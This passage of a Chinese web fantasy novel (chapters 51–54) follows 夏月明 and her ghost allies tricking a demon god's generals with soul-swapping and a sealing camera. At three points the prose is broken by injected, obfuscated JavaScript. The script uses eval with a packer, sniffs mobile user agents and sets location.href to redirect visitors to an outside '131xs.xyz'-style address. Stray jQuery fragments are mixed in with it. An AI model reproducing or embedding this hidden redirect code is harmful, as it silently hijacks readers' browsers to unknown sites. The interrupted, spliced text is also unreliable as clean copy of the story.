“啊?不见了?什么意思?” 苍弭道:“神器也不见了。” “啊?是不是屠苏带着神器跑了啊?” 诅咒心里佩服道:论甩锅手艺,你不比厨子差。 苍弭并未答复,只叮嘱她先在此等候,随即不知飞去了哪里。 夏月明松了口气,看来自己的演技还可以。 51. 魔域游戏·终局 千魔窟中,其他神将和魔将的神之眼只能看到自己领域内的动向,因而屠苏的去向不会有谁知晓。 但苍弭的神之眼却是全范围的,因而在他回来的一瞬,她便不可轻举妄动了。 她照他所说,静静地坐在门边,继续等待。 此时千魔窟内的魔神和众将领都只知这里仅存在一个无法把控行踪的人——李灵恪。 却不知,这里其实有三个。 便是这样的信息差,就足以让局面不再完全掌握在他们手中。 …… 千魔窟,主神殿。 众将领对千魔窟进行了地毯式搜索,却仍一无所获,一时皆是愁眉不展。 魔将凛啸烦躁地在殿内走来走去,“这个该死的屠苏,这个节骨眼儿上被愚蠢的凡人抓去了……真是丢我们千魔窟的脸!” 先前被相机封印过的神将衡元十分尴尬,眯着眼帮屠苏解释道:“咳咳,也不能这么说吧,那神器确实厉害啊……” 金乌烦躁地咬了下手指:“光明之日很快来临,屠苏不在,我们的神圣计划如何进行?” “无论如何,要先抓住那凡人。”业灾狭长的眼睛里尽是阴谋的算计,病恹恹地笑道:“我有一计,不知魔神大人可愿配合?” “说。” …… 良久后,苍弭再次出现在了夏月明面前。 “找到了吗?” 她欢喜地站起身来迎接他,他却神情冷淡,对她道:“明日,你与他们一起参加最终游戏吧。” “为什么?” 苍弭并未隐瞒,直接同她说了原因:“我要以你为饵,诱你的搭档现身,找到屠苏。” 虽早有预料,但她仍挤出一副落寞神情,失望道:“好。” 苍弭轻轻地摸了摸她的头发以示安慰,而后将她抱起,去了金色神殿。 走过长长的白玉阶梯时,夏月明忽然心生一计,对苍弭提议道:“参加游戏的鬼还是不够多,主人可以把石堡的鬼也放进来吗?鬼多一些也热闹一点。” 苍弭想了想,轻声应允。 她一提醒他才想起,先前那凡人曾去石窟找过鬼,也许石窟有他更在意的东西,如此也算是下了双重饵料了。 最终游戏来临之日,毕宿宫众鬼齐聚金色神殿。 在此之前,缉灵司的三位少年已提前与被困此处的鬼员工们打过招呼了,他们也知晓了「神之眼」的规则。因而除了小白之外,夏月明与其他鬼魂只是互相看了一眼,没有过多交流。 一切尽在不言中。 苍弭高悬于神殿上空,六神将和六魔将分别在他两侧。 当他宣布“游戏开始”后,围住神殿的四面墙壁便缓缓缩入地面之中,露出了殿外的空旷台基。 众鬼魂看到台基外的土地在不断蔓延,很快,这里就成为一个以神殿为中心的空中岛屿,岛屿宽广无比,大约有几千平米。 而后神将呼晴挥手做法,荒芜的土地上长出了郁郁葱葱的植被; 神将拓尊对着青翠大地指了几下,被指的地方分别出现了山川、树林和湖泊; 神将衡元长袖一舞,各种建筑拔地而起…… 在神将和魔将们的各种神通之下,一片风光秀美的土地出现在了众人脚下。 随即苍弭将手一挥,所有玩家全部从殿内消失,四散到了岛屿上的不同地方。 游戏周期为七天,但这岛上的日月星辰皆由神将星引操控,因而一天的长度与凡间不同,仅有六个时辰。 即白天三个时辰,夜晚三个时辰。 在此游戏中,厉鬼们需要互相残杀,靠吞噬别的厉鬼来获得更加强大的能力。 他们当然也可以选择和平共处,抑或团结互助、共渡难关,但游戏的获胜条件是——打败神殿中的随便一位将领。 七日后,这座岛会自行爆炸,仍留在岛上的厉鬼便会与之一同消散。 普通厉鬼与将领的能力差距自不必说,就算他们真的团结起来,也全无把握能撑过几招,更别说打赢了。 因而与之相比,他们更愿意选择另一个条路——吞噬掉其他厉鬼。 在此游戏中,吞噬所带来的能量融合,是绝对的1+1大于2的机制。 即若一只能力为1的鬼将另一只能力为1的鬼吞噬,它的能力便可在瞬间升级为4或者5。 如此,只要吞掉场地内的所有鬼魂,胜算便可达到一半。完全绝了众鬼魂想要合作的念头。 厉鬼们无论强弱,眼里都袒露着杀意。 毕宿宫的众鬼魂小心翼翼避开其他厉鬼,默契地朝着同一个地方缓慢探索。 先前宁渊和阿浅找到他们时,曾将夏月明预判到的可能面临的情况,和每种情况的应对策略同他们说了一遍,当下情形也在她的预判之中。 应对方案是,在东南方,距离场地边缘百米左右的地方汇合,若那里不安全,便向西走到第一个安全的地点汇合。 众鬼魂看似漫无目的地游荡至此,终于在河边的一个小树林外碰头了。 暂时没有其他鬼魂找到这里。 一见面,小草就立刻缩到了阿九腿边,有意无意地偷看着夏月明,小小的脸上写满了愧疚和自责。 因石堡内的鬼是后来加入的,所以游戏开始前他们并没有看到依依,仍以为自己害死了她。 依依是林蔓一手养大的,若被她知道此事,不知会不会生撕了他。 一想到这里,可怜的小孩就忍不住瑟瑟发抖。 夏月明暂且不便安抚他,只能先按照事先排好的剧本演了起来。 几只鬼从互相防备再到互相试探,最后各怀鬼胎地达成一致,暂且结盟,和平共处。 他们在林中各自寻了一棵大树,借着树荫休整起来。 阿九坐在树上,遥望着河对岸的云海,嘴角不自觉泛起轻松笑意,闭上了眼睛。 当下情形并不比之前安全,甚至比之前还要凶险,但不知为何,他悬了许久的心,终于在此刻安定了。 或许是因为熟悉的伙伴都在身边吧。 可他从哪一刻开始,竟会因此而动容了呢? 他想起夏月明离开毕宿宫的前一晚。 那时她郑重其事、胸有成竹地向所有员工承诺一定会回来,亲自送他们去轮回,又向小草保证,一定会帮他找到姥姥。 却在群情激昂地散了会后,偷偷找到他,托付了后事。 虽说是后事,却没有一件是关于她自己的。 她说:“若到说定的时间我还没有回来,请你帮我带想要轮回的员工们去一趟城西的城隍庙,自会有阴差来接应他们,然后……小草的事也拜托你了,虽已过去许久,但谣言不会终止,若在永安城内多听一听,或许会听到与那老太监相关的事,到时便可顺藤摸瓜,揪出那人贩子的线索,继续查下去,应该不难找到小草的家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866776|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他听完没有答应,只沉着脸问她:“那你呢?” 她愣了一下,而后故作轻松地笑道:“我本来就不属于这个世界,没准去了那个什么魔窟,也能找到回家的路啦。” 他摇了摇头,严肃地拒绝了她:“我可没你那么好心,帮完这个又帮那个,你一走,我便将他们都吃掉。” 她却笑着眨了下眼,道:“你不会的。” “怎么不会了?我现在就……” 她没给他反驳完的机会,郑重地同他道了声“再见”后,踏上那少年的剑离开了。 可惜现在不能与她说话,不然他一定要认真地反驳她,告诉她:“看吧,我说到做到,我真的没那么好心。我特地来带你回去,让你自己收拾自己的烂摊子。” 两个时辰后,依依终于找到了这里。 小草一见依依就再也绷不住了,冲过去抱住她哇哇大哭,依依温柔地笑着,轻轻拍了拍他的背。 心事重重的小鬼终于放下了愧疚的重负,自此之后,他对依依也更加亲近了。 夜色将临,整座岛屿都逐渐开始躁动起来。 因为游戏还有另一项规则——每天夜里都必须有至少一个鬼去向神发起挑战,不然神就会发怒。神一旦发怒,死的就不是一两个鬼。 所以开始有鬼想要抓住比他弱小的鬼,去应付今天的挑战。 在还没吞噬到足够的鬼魂,掌握足够的能力时就去向神挑战,与送死无异。 但夏月明知道,他们没有时间好好耗到游戏结束了。 于是她站起身来,严肃地看向其他鬼魂。 不需言语沟通,其他鬼魂也默契地站起身来,眼神坚定地望向她。 夏月明道:“今晚我要去挑战神将,有没有愿意与我一起的?” 众鬼魂欣然一笑,演技很差地推脱几句后,一同朝着金色神殿走去。 彼时神殿外百米处,已有鬼魂候在这里,他们绑来其他弱小小鬼,打算时间一到便将她扔进去,以完成今晚的挑战规则。 夏月明路过那群鬼魂时,淡淡道:“放了她吧,今晚我们去。” 众鬼魂目瞪口呆地望着大步走向神殿的毕宿宫鬼群,不约而同揉了揉眼睛,又挖了挖耳朵。 “我没听错吧?他们要去挑战神将?” “哈哈,没错,还真有不自量力的啊,看来今晚我们安全了,那这只小鬼……就由我来吃掉吧。” “我吃!” “我吃!” 一群鬼为了争食,在树林里打成一团。 金色神殿内空旷明亮,夏月明环顾四周,不见一位将领。 她对着神殿正中央抬头道:“今晚,我们要一同挑战神将。” 没过多久,一位金发金瞳的神将出现在了神殿中央:“神将携灵,应战。” 她与其他神将一般高,穿着轻盈,身后还长着一双像蜻蜓一般的透明翅膀,优雅灵动又美丽。 夏月明同她打了声招呼,故作犹豫地商量道:“我们这么多鬼,一起挑战一个神将,岂不是会显得我们欺负你一样?” 携灵听罢愣了下,自己这是被小鬼同情了? 原本优雅的神将忍不住捧腹大笑,嘲讽道:“你什么意思啊小鬼?你不会以为你们可以靠数量取胜吧?哈哈哈哈哈哈这是打架,不是算数啊!” “我的意思是——”夏月明莞尔,淡定道:“我申请所有神将一起上。” 52. 魔神赌约 “所有神将?”携灵愣了一下,而后怒不可遏:“臭小鬼,你口气挺大啊!” 以为她是在犯蠢,没想到她是在挑衅,携灵很生气。 夏月明对她不甚了解,便不与她多费口舌,兀自仰着头对苍弭道:“若按照游戏流程,不知等到猴年马月灵恪才会现身,不如所有神将一起上,给他些压力,看他会不会来救。” 虽然他并未现身,但她知道他听得到。 良久后,空荡神殿内响起苍弭清润朗阔的声音:“照她说的做。” 随即余下五名神将一同出现在了携灵身侧。 携灵虽然心有怨念,却知大局为重,并未多言。 夏月明道:“在这里打,我怕限制你们发挥,不如我们各自准备一下,半个时辰后在西侧小山丘旁打?” 众神将或嘲讽或严肃,眼神皆是一样的不以为意。 携灵道:“去就去,反正无论在哪里,你们都没有半点胜算。” 半个时辰后,六位神将齐聚小山丘旁,夏月明却仍是磨磨唧唧地提了好多要求,一会儿嫌他们离山丘太近,一会儿又觉得他们离山丘太远,直到他们耐心耗尽准备直接开打之际,她才颇为满意地道:“就是这里!” 而后她挥手捏诀,做起法来。 众神将却浑不在意,甚至觉得她认真的样子十分好笑,悠哉地站在原地看起戏来。 因为凡胎所生的魂魄,是无论如何也伤不到他们的。 但当她停下动作的一瞬,所有神将都傻眼了。 ——他们同时感应到她的魂体闪烁了一下。 来不及探究原因,「神之眼」又告诉他们,消失许久的屠苏在山丘另一侧现身了。 与他一同现身的,还有可以瞬时封印神将的神器。 等他们终于将这几点异常联系在一起,明白发生了什么,却为时已晚,不远处的山丘上强光一闪,按照夏月明指定位置排排站的神将们便一齐从原地消失了。 山丘上,相纸从相机中划出,六名神将表情生动地站在相纸中,取景构图都堪称完美。 “抓鬼相机只能封印住鬼,什么神将魔将,真是会给自己贴金。”李灵恪收起相机,一屁股从山丘上滑了下来。 刚反应过来发生了什么的的屠苏气呼呼地在他身后追赶而来。 很快苍弭与其余五名神将也在他面前现身,将他拦住。 李灵恪淡定止步,抬起头来看向苍弭,微笑道:“不是说打败神将就算胜利吗?我赢了,放我走吧。” 苍弭冷声道:“把神器留下。” “留下也不是不行,但除了我没人能解开神器的封印。“ 屠苏气愤地冷哼了一声,道:“不就是四象决吗?我也学会了。” 李灵恪摇头:“早改了,不信你们试试?” 他说罢便主动将相纸扔给了苍弭。 屠苏照着李灵恪先前步骤对相纸施术,果然如他所言没有任何变化,一众魔将更是有种被戏耍了的愤怒。 便在此时,他们的「神之眼」又同时感应到夏月明的魂位闪烁了一下。 随后李灵恪原本狡黠的神情变成惊慌,夏月明原本木然的神情却变得灵动起来。 这一刻,苍弭恍然大悟。 “移魂术?” 就在那一瞬间,他们的魂体互换了位置 夏月明坦诚道:“正是。” 方才她在众神将眼皮底下捏的诀,可不是为了同他们战斗,而是为了启动移魂之术。 术法一成,她便解开相纸封印,将屠苏放了出去——没办法,抓鬼相机只自带了这一张相纸——而后按下快门,给六神将来了张大合照。 封印成功后,她不得不感叹科技的力量,下定决心若有机会回去,定要好好学习。 而方才与苍弭对话的李灵恪,也装的是夏月明的灵魂。 意识到这一点之后,苍弭脸色一沉,语气冷到极点,用最后的耐心问夏月明:“用过几次?” “两次。” 她这样一说,他便立刻什么都清楚了。 怪不得石堡混乱前后她的魂曾闪动过两次,原来那时便用了移魂术来欺瞒于他。 他自嘲地笑着,打量着眼前与她露出同样眼神的小鬼们,沉声道:“所以你们早就认识了?” “嗯,他们是为救我而来。” 好啊,好啊,好得很。 亏他这些日子竟还觉得,是她在无数烦心的事务中治愈着他。 原来那些烦心事,竟都是她造成的。 可恶的宠物,可恨的叛徒! 这一刻,素来冷淡的魔神第一次觉醒了名为“愤怒”的情绪,金曈泛红,似有两团火焰在烧。 周围大地震颤,河水逆流,山石坠落,树木倒塌,不知情的小鬼四处逃窜,以为末日就要来临。 魔将们身形放大了数倍,一手抓起一个鬼,就要将他们捏碎。 “住手!”夏月明急忙制止道:“捏死他们你的神将们也回不来,不如和我打个赌,怎么样?如果你们赢了,我就帮神将解封,如果我赢了,放我们离开。” 苍弭很想下令魔将摧毁一切,但他知道她说得对,即便现下摧毁一切,神将也回不来。 可他救世的神圣计划,不能没有神将。 他深深吸气平复了情绪,随即满脸厌恶地看着夏月明,道:“赌什么?” “赌我们能不能打败六位魔将。” 苍弭听罢冷笑一声,“是因为骗过了我,便让你高估了自己的力量吗?” 夏月明神色坦然,道:“随你理解。就当是吧,要不要试试?” “可以。”苍弭狠戾一笑,道:“若你输了,这里所有的鬼魂都会为你陪葬。” 她第一次在他的脸上看到如此没有神性的表情,竟不觉为自己的欺骗内疚了一下。 但那内疚转瞬即逝,因为这次拉扯,是他先动的手。 赌约开始,苍弭站在神殿顶端冷眼观望,怒气最旺的屠苏率先出手,他有着吞噬一切的魔力,众小鬼便分散开来各自逃窜,生怕被他一网打尽。 对付一个魔将就如此吃力,六个一起上,根本不敢想象。 诅咒无奈埋怨道:“你为什么跟他赌这个?就是赌石头剪刀布也比这个强啊。” 怕「神之眼」听到,夏月明便没有同他解释。 她之所以以此为赌,目的并不在赌约上,而是为了让苍弭与魔将不能同时出手对付他们。 若是赌别的,不论输赢他们都不可能离开这里,早晚要与魔将一战。 有苍弭神力加持,他们根本没有赢的机会。 所以她想,若是利用这个赌约将苍弭与魔将分开对付,胜算会否稍大一些。 见众鬼魂四散逃跑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866777|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔将们也不想费力,当下默契地各自锁定目标,一对一开始追击。 屠苏去追夏月明,业灾去追小婵,雷厝去追阿九,金乌追小白,凛啸追依依,剩余一个小草,就交给了栖风。 夏月明自然是跑不过屠苏的,但幸好她身上有“挂”,原本是为了害她性命而附身于她的诅咒比她更加惜命,见她跑得太慢,他直接化形出与屠苏同样巨大的实体,拎着她跑。 屠苏和苍弭见状都脸色发黑,不知她还藏了什么惊喜是他们不知道的。 当然这对夏月明来说同样惊喜,她兴奋地对诅咒道:“没想到你这么深藏不漏!神奇的万咒之皇,把魔将们都打倒吧!” 诅咒无奈白眼:“你这话,就好像跟小妖怪说,让他去把唐僧师徒全部抓来一样无理取闹,就好像你领导让你把大厂那个项目拿下一样异想天开。” “嘿嘿。”夏月明咧了咧嘴,她也知道这样说是在为难诅咒,但就是忍不住想皮一下,过过嘴瘾。 不过在了解了屠苏的异能之后,她发觉要想对付他,还真得诅咒来。 因为某种意义上来说,诅咒只是一个媒介,它自己虽然能力有限,但施咒人怨念越强,诅咒的威力也会随之越大。 而激怒屠苏,让他产生怨念,说出诅咒这件事,没谁比她更合适了。 于是她便故意说了许多激怒屠苏的话,从外貌攻击到性格嘲讽,什么难听说什么,感觉自己功德都要掉光了。 气得屠苏愈发暴力,好几次诅咒都差点没躲过。 最后看时机成熟,她便故意引导他道:“我诅咒你们的神圣计划无法成功,诅咒你们永远不明白人类为何幸福,诅咒你永远不会单脚跳!” 最后一句是屠苏的痛,因为他平衡能力很差。 这一点本来他隐藏的很好,但有一次他悄悄躲起来练习单脚跳时被李灵恪看到了,于是夏月明便也知道了。 屠苏彻底疯狂,愤怒地像个大猩猩一样捶胸,对着夏月明咆哮道:“我诅咒你灰飞烟灭上刀山下火海永生永世都投畜生道!诅咒你被饿鬼分食众叛亲离永世彷徨!诅咒靠近你的所有鬼魂都与你同样凄惨……” 他每说一句,诅咒黑色的身体便放大一分,到他终于发泄完怒气稍微冷静下来后,便见在他身前惊慌逃窜的黑色家伙竟变得比他还要高大了。 诅咒嚣张止步,屠苏也慌忙刹车,险些撞在他身上。 他低头凑近屠苏的面容,邪恶一笑,贱嗖嗖地道:“舒服。如此强大的咒力,我还是第一次感受到,来啊,继续啊!” 屠苏忍不住警惕地朝后退了半步。 诅咒黑色的身体仍在不断扩大,他伸了个懒腰,露出癫狂笑意对屠苏道:“接下来,就是我的主场咯,该你跑了,小、猫、咪。” 被他阴影覆盖的屠苏却没露出半分惧色,反而抖着肩膀大笑起来。 “哈哈哈哈,我真是好害怕呀!你以为我是凭什么成为魔将的呢?” 他神色狂傲地抬起手掌,将全身魔力汇聚掌心,掌心便出现了一片吸力巨大的圆形黑洞。 黑洞在瞬间放大了数倍,夏月明紧紧抱住诅咒胳膊,却还是被那黑洞吸了进去。 屠苏抬起头来看向嚣张的黑色实体,露出比他还要癫狂的笑来,将巨大的黑洞对准了他:“我不知道你是个什么东西,但我的噬魂洞,专吃大家伙,哈哈哈哈哈!” 53. 噬魂洞vs噬魂洞 “好巧,我的也是。” “嗯?” 被黑洞对准的一瞬间,诅咒粗壮的臂膀立刻被吸了进去,他用尽全力拉扯,却仅是减缓了被吸进去的速度,未能挣脱半分。 但他脸上的癫狂笑意却丝毫未减,一边咬牙挣扎,一边以同样的动作,对着屠苏缓缓举起了右手。 屠苏漠然地朝他右手看去,只见那深黑色的掌心中,有黑色颗粒源源不断汇聚起来,很快就形成了一个与屠苏同规模的噬魂洞。 屠苏瞳孔收缩,骤然大惊。 巨大的吸力令他的半个身体不自觉向前倾去,他只能像诅咒一样,慌忙伸出另一只手来抵挡。 这下好了,他们各自吸住了对方的一只手臂。 虽然形势并未偏向自己这方,但诅咒仍忍不住大笑起来,对着屠苏阴云密布的脸嘲讽道:“很少有谁能知道被自己的招式控制住是什么滋味,牛头小子,你很幸运。还不快谢谢爷爷我?” 屠苏双目赤红,咬着牙问:“你为何也会这招?” 诅咒很欠揍地答道:“让我想想……可能是跟以前在路边摊买的哪本武功秘籍学的吧,我记得第一页是「欲练此功,必先自宫」,等等,你这么厉害,不会已经……” 屠苏听得皱起眉来,紧接着又听见诅咒哈哈大笑道:“哈哈哈哈你听得好认真啊,傻孩子,你不会没听出来我是在逗你玩吧?我怎么会把自己的秘密告诉你呢?我又不像你似的,蠢牛脑袋,哈哈哈哈~” 屠苏长着牛角的一张青色面容直接气到红温了。 他并不知此刻与自己对峙的这个诡异家伙,其实是由一万种最恶毒的诅咒淬炼而成的,可以算是浓缩版的诅咒精华了,威力不言而喻。 只要在他面前说出诅咒的话,任何诅咒都可以生效。 但相对的,诅咒一旦生效,他便可以短暂地获得与施咒人相同的能力。 刚才屠苏诅咒夏月明的朋友都与她自己一样凄惨,某种意义上来说,其实已经实现了。 她的朋友们和她一起沦落至此,此刻正一起被实力超过自己一百倍的怪物追杀,稍不留神就可能魂飞魄散,不可谓不凄惨。 因而在这句诅咒言出法随,以光速实现以后,身为万咒之皇的他便暂时获得了与施咒的屠苏一样的能力。 于是他的左手吸着他的右胳膊,他的右手吸着他的左胳膊,他们俩以奇怪的姿势面对面卡在一起,十分抗拒地缓缓靠近着。 当彼此的整条胳膊都被对方的噬魂洞完全吞没之后,强大的吸力使他们幸存在外的另一条胳膊也不自觉变得弯曲。 很快,诅咒癫狂的面容上就忍不住露出一抹尬色。 屠苏阴沉的脸上也流露出了一丝不自然的慌乱。 实在是……太近了。 不知不觉间,两具庞大身体间的距离已然缩成了个位数,他们甚至可以感受到对方的鼻息。 若不知晓发生了什么,乍一看还是挺暧昧的。 为避免名誉上的悲剧发生,两位巨人都下意识地抿起嘴唇、扬起头来,朝天上看去。他们将一切交给了时间,看谁的噬魂洞更持久,看谁先一步被整个吞掉。 不过随着时间的流逝,诅咒渐渐慌了起来。 因为他知道,自己的能力有时限,这样耗下去必输无疑。 便在此时,他感到自己已不存在的左手突然被一只纤细小手紧紧地攥住了,而后他听到夏月明坚定的喊声:“吸他的脚!” 先前被屠苏吸进噬魂洞中的夏月明,于漫无边际的黑色虚空中努力与诅咒恢复了联结,虽不知外面发生了什么,却在第一时间对他喊出了自己在被吸走的一瞬间想到的办法。 于是下一秒,诅咒果断收起噬魂洞,朝屠苏的左脚吸去。 猝不及防被释放的胳膊顺从惯性,连带着屠苏的半个身体朝后一仰,正好给了诅咒操作空间。 他一下就吸住了他的一只脚。 屠苏的另一只脚慌乱地在地上蹦了两下,十分努力地想找回平衡,最终却仍是无力撑起他庞大的身体,认命地罢了工。 伴随着大地的一声闷响和剧烈的震颤,屠苏整个身体轰然倒地,汇集在他掌心的噬魂洞也逐渐散去。 虽然魔将各有弱点,但他以为自己的最微不足道,可万万没想到,有一天真的会败在这弱点上。 承载着万里晴空的青色眼眸中,缓缓划出一滴不甘的泪水。 在他倒地的一瞬间,诅咒也成功将自己的手臂和夏月明一同从吸力减弱的噬魂洞中拽了出来,并在技能失效的前一秒,将屠苏完完整整地吸入了噬魂洞中。 他十分惋惜地看着自己空无一物的掌心,仍在回味刚才那种可以吞噬一切的力量感。 “可惜了,但愿这倒霉鬼知道怎么从自己的噬魂洞里出来,不然我这辈子恐怕再也体验不到这么霸道的能力了。” 夏月明站定身体后,认真地对诅咒道了声:“谢了,万咒之皇。” 诅咒却仍在惋惜着,似乎没听见她的道谢。 与屠苏的对抗,夏月明胜。 她惊魂甫定,举目张望,寻找起其他伙伴的身影。 在金殿的东南方,遍体灼伤的小白感受到了主人忧心的目光,他一边躲避着金乌的赤焰,一边扭头朝她望去,扯起带疤的嘴角,挤出一个与寻常悠闲时刻无二的灿烂笑容,故作轻松地朝她喊道:“主人,不必管我,我这边且轻松着呢。” 话音刚落,一大颗焰球便狠狠砸中了他坚挺的背脊,刺目的焰朵在他身后绽放。 夏月明迈步正要朝他跑去时,又听到金殿正西传来一声凄厉痛呼,循声望去,那一片天地间电闪雷鸣,刺目蓝光覆盖其间,使肉眼无法分辨那里正发生着什么。 见她步伐踌躇,小白一边狼狈地躲着焰球,一边又对她喊道:“看着是惨了点儿,但我可是火系魂体,享受得很呢!” 说罢他伸出手掌来做出一个青色火球,笑嘻嘻地朝着金乌砸了过去。 时间有限,夏月明红着眼睛一咬牙,转身朝着那片被雷电覆盖的区域跑去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866778|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 强烈的心疼与担忧再次触发了心音,他在快要埋没了意志的剧痛中清晰地听到了她的声音:“撑住,小白。” 于是因再度被赤焰击中而摇摇欲坠的身体又再度挺立起来,他扬起嘴角,不屑地朝飞在半空的金乌笑了一下,趁着金乌愣住的时刻,撒腿就朝不远处的湖水跑去。 …… 金殿西,原本青草茵茵的地面已被千道天雷砸成了一片坑坑洼洼的焦土。 原本长发如墨,俊美非凡的阿九也被天雷改换了造型。 诅咒看见他的第一眼,便极不礼貌地哈哈大笑起来:“我去,海胆成精了?” 只见阿九原本顺直的长发,已被天雷炸成了焦黑的爆炸头,全身皮肤也变得焦黑斑驳,再无一处完好。 魔将雷厝巨大的身体悠哉地悬在焦土上空,像一片乌云一般将阿九覆盖,不断从掌心释放出蓝紫色电光,劈头盖脸朝阿九砸去。 见夏月明和诅咒跑来,他立刻加大电力,十分周到地让他们也享受到了他的待客之道。 于是大伙儿来不及交流,一见面就一起抱头逃窜,生怕一不小心再被这位“tony”老师强行烫了头。 诅咒一边跑,一边还忍不住嘲讽地问阿九:“你这是被电了多少下啊?” 阿九听出他语气不善,看在夏月明的面子上答道:“前面都躲开了,就方才听到你们打败了那个牛头魔将,分了下神。” “啊?电一下就成这样了?” “不,这已是我用金鸦全力抵挡后的结果。” “妈呀!” 诅咒听罢吓得不轻,电一下——还不是完整的一下——就这么狼狈,多来几下岂不是小命都要没了? 顾不上许多,他立刻抱起夏月明撒腿就跑。 ——带上她倒并非因为他多好心,单纯是他不能离她太远,否则他恨不能将她和阿九一起丢出去做饵。 阿九方才已逃了许久,气力消耗过多,加上被劈中一次魂体重伤,很快就被诅咒远远地甩开了。 数道天雷朝他而来,躲闪不及,他只能再次变化出一千只金鸦来对抗雷击,虽然他心知这样做仍是蚍蜉撼树,垂死挣扎。 雷电会像之前一样,瞬间击碎金鸦,再重重砸向自己。 然而这次,预料中的痛感和焦味都并未如约而至,刺目的电光散去后,金鸦仍旧完好地盘悬在他的头顶。 随后刺鼻的电焦味从他身侧弥漫而来,将他的味觉整个包裹住了。 阿九不可思议地扭头望去,在距他大约三十多米的地方有一处水洼,水面电光刺目,翻滚澎湃,如被煮沸一般冒着蒸腾水汽,水汽中银蛇乱舞,良久后才归于平静。 刺鼻的电焦味便是由此而来。 诅咒抱着夏月明,悬浮于距离水洼十米远的半空中,从他们慌乱的神情中可以看出,他们是刚刚逃到那里的。 夏月明神色幸然,长长地松了口气,紧抱住她的诅咒却对她破口大骂:“不要命了你!不想活你自己死去,干嘛拖累我?!” 54. 落雷无声 原来在刚才天雷劈下的一瞬间,刚跑到水洼边的夏月明突然急中生智,犯险从诅咒怀中跳下,拿出先前苍弭送给她的神器回旋飞刀,朝着阿九上空奋力扔去。 虽然扔得不是很准,但导电良好的飞刀也成功在半空中将雷电吸引,带领它们注入了同样导电性能良好的水洼之中。 霎时间整个水洼电光炸开,噼里啪啦。 诅咒在飞刀被扔出的瞬间便明白了她的意图,他气恼地借着求生本能迸发出的爆发力,将她带离了水洼边,才避免她被逸散而出的电力波及。 看阿九安全了,夏月明松了口气,歉疚地向诅咒道了声歉。 “对不起,他已经很虚弱了,再被劈一次可能扛不住……” 诅咒目眦欲裂,对她破口大骂:“瞧把你厉害的,他扛不住你就能抗住了?你以为自己多厉害呢?蠢货!” “……” 夏月明默然低头,没有解释什么,只是紧紧攥着手中的玉佩。 她并非全然不怕死地想豁出性命去逞英雄,只是这玉佩曾帮她挡过阴差的攻击,所以她想,或许这次也能以它为底气,为了伙伴的性命而赌一把。 只是这次救她的不是玉佩,而是一直想要害死她的诅咒。 歉疚之于,夏月明再次诚恳地对诅咒道了声:“谢谢。” 不知不觉间,她和这位杀己“仇人”间的关系好像越来越近了。 雷厝并没有给他们过多喘息的机会,此刻他们可以在这里责备、道歉,完全是因为有人在替他们负重前行。 就在刚才,千魔窟所有神将、魔将最为痛恨的眼中钉——李灵恪出现了。 他在雷厝的攻击范围内,时而隐身,时而现身,吸引了雷厝的大量火力。 因无法被「神之眼」检测的优势,他短暂地皮了一下子。 就在这一下子,夏月明救了阿九的同时,脑海中又十分极限地冒出了一个更为冒险的主意。 “阿九。”她道:“你还能变出多少金鸦?” 阿九思索一瞬,道:“若不留余力……可唤一万只。” “好,我想先用九千九百九十九只。” 虽不知她想做什么,诅咒仍忍不住嘲讽道:“呵,你倒是善良,没全要,还给人家留了一点微不足道的余力。” 便在他们说话的时候,夏月明和诅咒的头发突然竖起,诅咒没看到自己滑稽的样子,张大嘴正准备嘲笑夏月明,就听见她惊慌地喊道:“快散开,雷电要来了!” 她曾在新闻中看到过,头发竖起,正是被雷电锁定的信号。 果然下一秒,数道天雷劈下,在他们原本的位置炸了个大坑。 不知何时,雷厝已经像一只盯紧猎物的小猫一般,悄悄移动到了他们上方。 若他像先前一样迅速释放雷电,他们周围是不会产生令头发竖起的静电场的,但显然,这位强大的魔将并没有这样做,他像是有意玩弄他们,或者想展示自己操控雷电的能力一般,相对缓慢地在他们上空慢慢生成了雷电。 发现这样做更能令他们惊慌之后,这位魁梧的魔将便像个贪玩的大猫逗弄小耗子一般,时不时就给他们来这么一下。 真是恶趣味。 待所有猎物都被折磨得疲惫不堪后,这位魔将颇觉不尽兴地伸出双手,在掌心缓缓聚集起两个巨大的蓝光电球,准备一击解决他们了。 便在此时,夏月明大声唤道:“灵恪,现身!” 下一秒,「神之眼」监控能力之外的bug李灵恪揭下自己额头上的隐身符,带着欠揍笑容在雷厝眼皮子底下现了身。 兴趣缺缺的大猫咪眼前一亮,掌心电球愈发膨胀,噼里啪啦地具象化着他的情绪波动。 “完了完了,这次真是致死量了……” 诅咒看着那吓人的电球忍不住咽了口口水,这要是砸下来,根本没有任何躲避的余地。 